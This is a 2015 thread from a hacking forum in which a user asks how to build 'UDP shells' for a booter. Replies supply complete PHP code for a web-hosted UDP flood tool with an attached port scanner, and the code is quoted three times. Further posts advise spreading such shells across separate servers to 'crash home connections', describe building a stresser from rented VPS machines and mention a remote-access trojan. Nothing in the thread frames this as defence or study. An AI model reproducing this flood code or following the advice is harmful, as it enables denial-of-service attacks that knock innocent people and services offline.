+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Botnets and Botting (https://hackforums.net/forumdisplay.php?fid=92)
+---- Thread: [Help] How Do I Create UDP Shells (/showthread.php?tid=5071509)
[Help] How Do I Create UDP Shells - Forgiven_nL - Nov 26, 2015
If someone could tell me how to make my own udp shells I'm willing to pay you a little bit of $. I've tried searching google and youtube but the results are the same, none explain the simple question I asked above. They all explain how to setup the site but not actually create the shell. I just want to make my own strong shell booter for myself.
With that said, I want to learn how to make every shell powerful af.
If anyone is capable of helping me with this please send me a pm, thanks!
* - Riggs - Nov 26, 2015
You need somewhere to host them, and these would need to be placed across domains on different individual hosts to have any effect. Free domains won't usually work as they have counter-measures designed to prevent resource intensive bandwidth spikes. Also note, a UDP protocol would follow the GET request.
Save the below code as a .txt file then rename it to shell.php and upload it to your domain.
Access via http://yourwebsite.com/shell.php
Code
<html>
<body>
<center>
<font color="00FF00">
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: black; font-family:
Tahoma; border: 1
solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: black; font-family:
Tahoma; border: 1
solid #66;
}
body {
background-color: black;
}
</style>
<?php
//UDP
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno,
$errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
$fp = fopen('log.php', 'a');
date_default_timezone_set('EST');
fwrite($fp, "UDP flood at " .date("d/m/y h:i") . " + 1 Hour DST,
Completed with " .
$packets . " (" . round(($packets*65)/1024, 2) . " MB) packets
averaging " .
round($packets/$exec_time, 2) . " packets per second. On IP:
".$_GET['host']." , For "
.$_GET['time']. " Seconds \n");
fclose($fp);
echo "<br><b>UDP Flood</b><br>Completed with $packets (" .
round(($packets*65)/1024, 2) . " MB) packets averaging ".
round($packets/$exec_time, 2) .
" packets per second \n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act"
value="phptools">
Host: <br><input type=text name=host
value=><br>
Length (seconds): <br><input type=text
name=time value=><br><br>
<input type=submit value=Go></form>';
}
//port scanner
echo '<br><br><br><b>Port Scanner</b><br>';
if(isset($_GET['host']) && is_numeric($_GET['end']) &&
is_numeric($_GET['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font
color=green>open</font><br>';
}
flush();
}
$fp = fopen('log.php', 'a');
date_default_timezone_set('EST');
fwrite($fp, "Port Scan at " .date("d/m/y h:i:s") . " + 1 Hour DST, IP
Scanned: "
.$_GET['host']. " \n");
fclose($fp);
}else{
?>
<form action="?" method="get">
<input type="hidden" name="act" value="phptools">
Host:<br />
<input type="text" name="host" value=""/><br />
Port start:<br />
<input type="text" name="start" value=""/><br />
Port end:<br />
<input type="text" name="end" value=""/><br /><br />
<input type="submit" value="Scan Ports" />
</form>
<?php>
}
?>
<h5><u>IPK</u></h5>
</center>
</body>
</html>Congratulations, you've just successfully created a UDP shell.
* - White Partyhat - Nov 26, 2015
(Nov 26, 2015 12:39 AM)Riggs Wrote: You need somewhere to host them, and these would need to be placed across domains on different individual hosts to have any effect. Free domains won't usually work as they have counter-measures designed to prevent resource intensive bandwidth spikes. Also note, a UDP protocol would follow the GET request.Thank you for this, I also wanted to learn how!
Save the below code as a .txt file then rename it to shell.php and upload it to your domain.
Access via http://yourwebsite.com/shell.php
Code<html>
<body>
<center>
<font color="00FF00">
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: black; font-family:
Tahoma; border: 1
solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: black; font-family:
Tahoma; border: 1
solid #66;
}
body {
background-color: black;
}
</style>
<?php
//UDP
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno,
$errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
$fp = fopen('log.php', 'a');
date_default_timezone_set('EST');
fwrite($fp, "UDP flood at " .date("d/m/y h:i") . " + 1 Hour DST,
Completed with " .
$packets . " (" . round(($packets*65)/1024, 2) . " MB) packets
averaging " .
round($packets/$exec_time, 2) . " packets per second. On IP:
".$_GET['host']." , For "
.$_GET['time']. " Seconds \n");
fclose($fp);
echo "<br><b>UDP Flood</b><br>Completed with $packets (" .
round(($packets*65)/1024, 2) . " MB) packets averaging ".
round($packets/$exec_time, 2) .
" packets per second \n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act"
value="phptools">
Host: <br><input type=text name=host
value=><br>
Length (seconds): <br><input type=text
name=time value=><br><br>
<input type=submit value=Go></form>';
}
//port scanner
echo '<br><br><br><b>Port Scanner</b><br>';
if(isset($_GET['host']) && is_numeric($_GET['end']) &&
is_numeric($_GET['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font
color=green>open</font><br>';
}
flush();
}
$fp = fopen('log.php', 'a');
date_default_timezone_set('EST');
fwrite($fp, "Port Scan at " .date("d/m/y h:i:s") . " + 1 Hour DST, IP
Scanned: "
.$_GET['host']. " \n");
fclose($fp);
}else{
?>
<form action="?" method="get">
<input type="hidden" name="act" value="phptools">
Host:<br />
<input type="text" name="host" value=""/><br />
Port start:<br />
<input type="text" name="start" value=""/><br />
Port end:<br />
<input type="text" name="end" value=""/><br /><br />
<input type="submit" value="Scan Ports" />
</form>
<?php>
}
?>
<h5><u>IPK</u></h5>
</center>
</body>
</html>
Congratulations, you've just successfully created a UDP shell.
* - OboeToke - Nov 26, 2015
Lol usually shells are used so they the user can find a vuln on a site, ul the shell and take advantage of the vulnerable web server.
* - Forgiven_nL - Nov 26, 2015
(Nov 26, 2015 12:39 AM)Riggs Wrote: You need somewhere to host them, and these would need to be placed across domains on different individual hosts to have any effect. Free domains won't usually work as they have counter-measures designed to prevent resource intensive bandwidth spikes. Also note, a UDP protocol would follow the GET request.
Save the below code as a .txt file then rename it to shell.php and upload it to your domain.
Access via http://yourwebsite.com/shell.php
Code<html>
<body>
<center>
<font color="00FF00">
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: black; font-family:
Tahoma; border: 1
solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: black; font-family:
Tahoma; border: 1
solid #66;
}
body {
background-color: black;
}
</style>
<?php
//UDP
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno,
$errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
$fp = fopen('log.php', 'a');
date_default_timezone_set('EST');
fwrite($fp, "UDP flood at " .date("d/m/y h:i") . " + 1 Hour DST,
Completed with " .
$packets . " (" . round(($packets*65)/1024, 2) . " MB) packets
averaging " .
round($packets/$exec_time, 2) . " packets per second. On IP:
".$_GET['host']." , For "
.$_GET['time']. " Seconds \n");
fclose($fp);
echo "<br><b>UDP Flood</b><br>Completed with $packets (" .
round(($packets*65)/1024, 2) . " MB) packets averaging ".
round($packets/$exec_time, 2) .
" packets per second \n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act"
value="phptools">
Host: <br><input type=text name=host
value=><br>
Length (seconds): <br><input type=text
name=time value=><br><br>
<input type=submit value=Go></form>';
}
//port scanner
echo '<br><br><br><b>Port Scanner</b><br>';
if(isset($_GET['host']) && is_numeric($_GET['end']) &&
is_numeric($_GET['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font
color=green>open</font><br>';
}
flush();
}
$fp = fopen('log.php', 'a');
date_default_timezone_set('EST');
fwrite($fp, "Port Scan at " .date("d/m/y h:i:s") . " + 1 Hour DST, IP
Scanned: "
.$_GET['host']. " \n");
fclose($fp);
}else{
?>
<form action="?" method="get">
<input type="hidden" name="act" value="phptools">
Host:<br />
<input type="text" name="host" value=""/><br />
Port start:<br />
<input type="text" name="start" value=""/><br />
Port end:<br />
<input type="text" name="end" value=""/><br /><br />
<input type="submit" value="Scan Ports" />
</form>
<?php>
}
?>
<h5><u>IPK</u></h5>
</center>
</body>
</html>
Congratulations, you've just successfully created a UDP shell.
So I need to upload shell.php once to every domain I buy and how many shells "domains" would I need for it to actually be powerful and just crash home connections? I'm talking about buying domains that are around $1 each. I'm trying to get an idea of how much I'll be investing on this. Also, if you know of a great site to buy domains off from lmk.
* - Riggs - Nov 26, 2015
(Nov 26, 2015 12:16 PM)Forgiven_nL Wrote: So I need to upload shell.php once to every domain I buy and how many shells "domains" would I need for it to actually be powerful and just crash home connections? I'm talking about buying domains that are around $1 each. I'm trying to get an idea of how much I'll be investing on this. Also, if you know of a great site to buy domains off from lmk.
The domains would need to be hosted on separate servers to be effective.
9000 shells through various domains all on the same server would be the equivalent to just using 1 shell 9000 times, which is pointless.
(Nov 26, 2015 01:25 AM)OboeToke Wrote: Lol usually shells are used so they the user can find a vuln on a site, ul the shell and take advantage of the vulnerable web server.
Have no idea what you're talking about. OP is referring to shells used in a shell booter to UDP flood a connection.
* - ʕ•͡ᴥ•ʔ - Nov 26, 2015
yo
guess what
it's 2015
* - Card Shop - Nov 26, 2015
Are you trying to code your own or ?
Cuz the shell above will work, just upload it, and use it.
Also as the user stated above, it is 2015.
* - Proxseas - Nov 26, 2015
Spoiler (Click to View)
![[Image: DOsFftH.jpg]](https://i.imgur.com/DOsFftH.jpg)
* - Forgiven_nL - Nov 26, 2015
Yes guys, I already moved on to bigger and better things.... luminositylink rat.
* - staunch - Dec 13, 2015
make a stresser, get a webhosting(free to $10), get a couple vps's(5 to 11 bux), make the vps's into a API then hook em up to your website